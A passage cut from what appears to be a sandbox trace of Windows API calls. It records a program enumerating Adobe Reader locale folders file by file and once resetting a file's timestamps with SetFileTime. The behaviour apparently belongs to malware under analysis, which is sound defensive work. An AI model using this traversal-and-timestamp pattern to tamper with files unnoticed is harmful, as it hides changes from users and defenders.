(x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.530] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x74, dwReserved1=0x0, cFileName="Multimedia.DEU", cAlternateFileName="MULTIM~1.DEU")) returned 1 [0070.531] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.531] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\makeaccessible.DEU") returned="makeaccessible.DEU" [0070.531] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.531] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.531] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="pddom.DEU", cAlternateFileName="")) returned 1 [0070.531] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.531] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Multimedia.DEU") returned="Multimedia.DEU" [0070.531] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.531] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.531] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88400, dwReserved0=0x74, dwReserved1=0x0, cFileName="PPKLITE.DEU", cAlternateFileName="")) returned 1 [0070.531] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.531] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\pddom.DEU") returned="pddom.DEU" [0070.532] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.532] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.532] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7de2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c400, dwReserved0=0x74, dwReserved1=0x0, cFileName="RdLang32.DEU", cAlternateFileName="")) returned 1 [0070.532] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.532] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\PPKLITE.DEU") returned="PPKLITE.DEU" [0070.532] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.532] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.532] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="ReadOutLoud.DEU", cAlternateFileName="READOU~1.DEU")) returned 1 [0070.532] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.532] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\RdLang32.DEU") returned="RdLang32.DEU" [0070.532] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.533] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.533] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x74, dwReserved1=0x0, cFileName="reflow.DEU", cAlternateFileName="")) returned 1 [0070.533] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.533] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\ReadOutLoud.DEU") returned="ReadOutLoud.DEU" [0070.533] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.533] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.533] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="SaveAsRTF.DEU", cAlternateFileName="SAVEAS~1.DEU")) returned 1 [0070.533] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.533] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\reflow.DEU") returned="reflow.DEU" [0070.533] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.534] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.534] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x74, dwReserved1=0x0, cFileName="Search.DEU", cAlternateFileName="")) returned 1 [0070.534] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.534] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU") returned="SaveAsRTF.DEU" [0070.534] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.534] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.534] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x74, dwReserved1=0x0, cFileName="SendMail.deu", cAlternateFileName="")) returned 1 [0070.534] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.534] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Search.DEU") returned="Search.DEU" [0070.534] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.534] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.535] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0070.535] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.535] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.535] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu") returned="SendMail.deu" [0070.535] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.536] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.536] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.536] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.536] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.536] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0070.537] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.537] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*.*") returned="*.*" [0070.537] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\" [0070.537] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\") returned="" [0070.541] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.541] CloseHandle (hObject=0x98) returned 1 [0070.542] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0070.542] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.542] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\DEXShare.asfx") returned="DEXShare.asfx" [0070.542] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\" [0070.542] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\") returned="" [0070.542] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0070.543] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0070.543] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Spelling.DEU", cAlternateFileName="")) returned 1 [0070.543] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.543] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*.*") returned="*.*" [0070.543] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.543] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.543] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="updater.DEU", cAlternateFileName="")) returned 1 [0070.543] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.543] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Spelling.DEU") returned="Spelling.DEU" [0070.543] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.543] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.544] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x74, dwReserved1=0x0, cFileName="Weblink.DEU", cAlternateFileName="")) returned 1 [0070.544] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.544] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\updater.DEU") returned="updater.DEU" [0070.544] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.544] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.544] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x74, dwReserved1=0x0, cFileName="Weblink.DEU", cAlternateFileName="")) returned 0 [0070.544] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.544] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="es_ES", cAlternateFileName="")) returned 1 [0070.545] lstrcmpA (lpString1=".", lpString2="es_ES") returned -1 [0070.545] lstrcmpA (lpString1="..", lpString2="es_ES") returned -1 [0070.545] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*.*") returned="*.*" [0070.545] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.551] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.551] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.551] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.551] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.551] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, 